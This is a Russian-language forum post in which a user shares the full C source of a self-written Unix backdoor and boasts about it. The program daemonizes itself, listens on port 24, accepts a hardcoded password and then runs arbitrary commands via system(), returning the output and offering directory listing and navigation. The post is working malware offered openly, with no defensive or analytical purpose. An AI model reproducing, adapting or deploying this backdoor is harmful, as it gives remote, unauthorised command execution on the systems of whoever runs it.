onehalf3554
инквизитор свои пацаны
|
2root теперь ты понялд что такое кросс платформанное программирование? Ладно упростим задачу,этот быкдорчик я писал минут 35,самое простое из того что можно откомпилировать:-) QUOTE | //********************************************************************** //* This C++ file written by Chernckevich K.K. * //* homepage:http://onehalf.hotmail.ru * //* e_mail:onehalf3554@mail.ru * //**********************************************************************
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> #include <sys/poll.h> #include <dirent.h>
long filesize__(char *fname) { FILE *test; long result; if (bcmp(fname,"cdrom",5)==0^bcmp(fname,"floppy",6)==0) { result=-1; goto Ext__1; } test=fopen(fname,"r"); if (test==NULL) { result=-1; goto Ext__; } fseek(test,0,SEEK_END); result=ftell(test); fseek(test,0,SEEK_SET); Ext__: fclose(test); Ext__1: return result; }
void Sendcmd(char *cmd,FILE *cout) { fprintf(cout,cmd); (void)fflush(cout); }
int ConnListen(int port) { int Sock; struct sockaddr_in sddr; int cnt; bzero(&sddr,sizeof(sddr)); sddr.sin_port=htons(port); Sock=socket(AF_INET,SOCK_STREAM,0); cnt=bind(Sock,(struct sockaddr *)&sddr,sizeof(sddr)); cnt=listen(Sock,1024); cnt=accept(Sock,(struct sockaddr *)&sddr,(unsigned int *)sizeof(sddr)); shutdown (Sock,2); close(Sock); return cnt; }
void main() { FILE *cin; FILE *cout; int st; //int sz; char Buffer[1024]; //int count; dirent **dir__; int dircount; int i; char result[400]; char snd[400]; daemon(1,0); i=0;dircount=0; st=ConnListen(24); cin=fdopen(st,"r"); cout=fdopen(st,"w");
loc_2: Sendcmd("[OK] Welcome [onehalf] to network daemon:rn",cout);
fgets(Buffer,1024,cin); if (bcmp(Buffer,"AXZLVVFP121VB",13)==0) //the password string is here:-))) { Sendcmd("YOU ARE CONNECTED[OK]:rn",cout);
loc_1: Sendcmd("[shell]:",cout); bzero(Buffer,sizeof(Buffer)); bzero(snd,sizeof(snd)); bzero(result,sizeof(result)); fgets(Buffer,1024,cin); if (bcmp(Buffer,"DIR",3)==0) { Sendcmd("Directory list [LS]:rn",cout); dircount=scandir(".",&dir__,0,alphasort); if (dircount<0) { Sendcmd("Error scaning directory but very sorry[ERROR]",cout); } else { while (dircount--) { bzero(result,sizeof(result)); strcpy(result,"NAME["); strcat(result,dir__[dircount]->d_name); strcat(result,"]:"); sprintf(snd,"[SIZE=%d",filesize__(dir__[dircount]->d_name)); strcat(snd,"]"); strcat(result,snd); Sendcmd(result,cout); Sendcmd("rn",cout); } } }
if (bcmp(Buffer,"CD ",3)==0) { if (strlen(Buffer)>399) { Sendcmd("you command line is very long[ERROR]rn",cout); } else { bzero(result,sizeof(result)); for (i=3;i<=strlen(Buffer)-3;i++) { result[i-3]=Buffer[i]; } i=chdir(result); if (i==0) { strcpy(snd,"Change directory is complete->CurDir[OK]:"); strcat(snd,result); Sendcmd(snd,cout); Sendcmd("rn",cout); } else { strcpy(snd,"Error execute command CD directory not change:"); strcat(snd,result); Sendcmd(snd,cout); Sendcmd("rn",cout); } } }
if (bcmp(Buffer,"SHELL ",6)==0) { FILE *type__; char *rstr; Sendcmd("SHELL ready:[OK]rn",cout); bzero(result,sizeof(result)); for(i=6;i<=strlen(Buffer)-3;i++) { result[i-6]=Buffer[i]; } strcat(result," >lst.000"); Sendcmd(result,cout); Sendcmd("rn",cout); system(result); bzero(snd,sizeof(snd)); type__=fopen("lst.000","r"); while (!feof(type__)) { rstr=fgets(snd,sizeof(snd),type__); Sendcmd(snd,cout); } fclose(type__); unlink("lst.000"); Sendcmd("End_of_transferrn",cout); }
if (bcmp(Buffer,"SHUTDOWN",8)==0) { goto Exit_; }
} else { goto loc_2; }
goto loc_1; Exit_: fclose(cout); fclose(cin); shutdown(st,2); close(st); }
| |
|
|